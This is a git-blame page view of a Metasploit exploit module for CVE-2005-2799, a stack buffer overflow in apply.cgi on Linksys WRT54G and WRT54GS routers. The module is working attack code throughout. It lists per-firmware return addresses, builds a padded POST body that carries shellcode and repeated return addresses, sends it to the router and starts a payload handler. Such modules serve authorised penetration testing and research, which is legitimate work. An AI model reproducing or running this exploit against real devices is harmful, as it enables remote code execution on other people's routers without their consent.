Files
metasploit-gs/modules/exploits/linux/http/linksys_apply_cgi.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

100 lines
3.5 KiB
Ruby
Raw Normal View History

##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
2009-12-06 05:50:37 +00:00
Rank = GreatRanking
2013-08-30 16:28:54 -05:00
include Msf::Exploit::Remote::HttpClient
2013-08-30 16:28:54 -05:00
def initialize(info = {})
super(update_info(info,
'Name' => 'Linksys WRT54 Access Point apply.cgi Buffer Overflow',
'Description' => %q{
2010-05-09 17:45:00 +00:00
This module exploits a stack buffer overflow in apply.cgi on the Linksys WRT54G and WRT54GS routers.
According to iDefense who discovered this vulnerability, all WRT54G versions prior to
2017-08-28 20:17:58 -04:00
4.20.7 and all WRT54GS version prior to 1.05.2 may be affected.
},
'Author' => [ 'Raphael Rigo <devel-metasploit[at]syscall.eu>', 'Julien Tinnes <julien[at]cr0.org>' ],
'License' => MSF_LICENSE,
'References' =>
[
2009-10-14 11:45:14 +00:00
[ 'CVE', '2005-2799'],
[ 'OSVDB', '19389' ],
[ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=305'],
],
'Payload' =>
{
#'BadChars' => "\x00",
'Space' => 10000,
'DisableNops' => true,
},
'Arch' => ARCH_MIPSLE,
'Platform' => 'linux',
'Targets' =>
[
# the middle of the intersection is our generic address
#((addrs.map { |n, h| [h["Bufaddr"],n] }.max[0] + addrs.map { |n, h| [h["Bufaddr"],n] }.min[0]+9500)/2).to_s(16)
[ 'Generic', { 'Bufaddr' => 0x10002b50}],
[ 'Version 1.42.2', { 'Bufaddr' => 0x100016a8 }],
[ 'Version 2.02.6beta1', { 'Bufaddr' => 0x10001760 }],
[ 'Version 2.02.7_ETSI', { 'Bufaddr' => 0x10001634 }],
[ 'Version 3.03.6', { 'Bufaddr' => 0x10001830 }],
[ 'Version 4.00.7', { 'Bufaddr' => 0x10001AD8 }],
[ 'Version 4.20.06', { 'Bufaddr' => 0x10001B50 }],
],
2020-10-02 17:38:06 +01:00
'DisclosureDate' => '2005-09-13',
'DefaultTarget' => 0))
2013-08-30 16:28:54 -05:00
register_options(
[
Opt::RHOST('192.168.1.1')
])
end
2013-08-30 16:28:54 -05:00
# Approx size of the remaining space in the data segment after our buffer
DataSegSize = 0x4000
2013-08-30 16:28:54 -05:00
def exploit
c = connect
2013-08-30 16:28:54 -05:00
print_status("Return address at 0x#{target['Bufaddr'].to_s(16)}")
print_status("Shellcode length: #{payload.encoded.length}")
2013-08-30 16:28:54 -05:00
addr = [target['Bufaddr']].pack('V')
# original = "Cache-Control: no-cache\r\nPragma: no-cache\r\nExpires: 0\x00\x00\x00"
# original += "\x10\xAD\x43\x00\x18\xAD\x43\x00\x70\x3e\x00\x10\x00\x00\x00\x00"
# Pointers in 2.02.6beta1
# | BIG BUFFER | Various structs and function pointers | ... | .ctors | .dtors | ... | .got |
# | <- 10000 -> | **************************** Pad with return address ***********************
# I know this is horrible :( - On the other side this is very generic :)
post_data = "\x00"*(10000-payload.encoded.length)+payload.encoded+addr*(DataSegSize/4)
#post_data = "\x00"*(10000-payload.encoded.length)+payload.encoded+original+addr*2#+"\x24\xad\x43"
# res = send_request_cgi({ 'uri' => "/apply.cgi",
# 'method' => 'POST',
# 'data' => post_data });
# print_status("Malicious request sent, do_ej should be overwritten")
req = c.request_cgi({ 'uri' => "/apply.cgi",
'method' => 'POST',
'data' => post_data
})
c.send_request(req)
print_status("Mayhem sent")
# req=c.request_cgi('uri' => '/');
# c.send_request(req);
# print_status("do_ej triggered")
handler
disconnect
end
end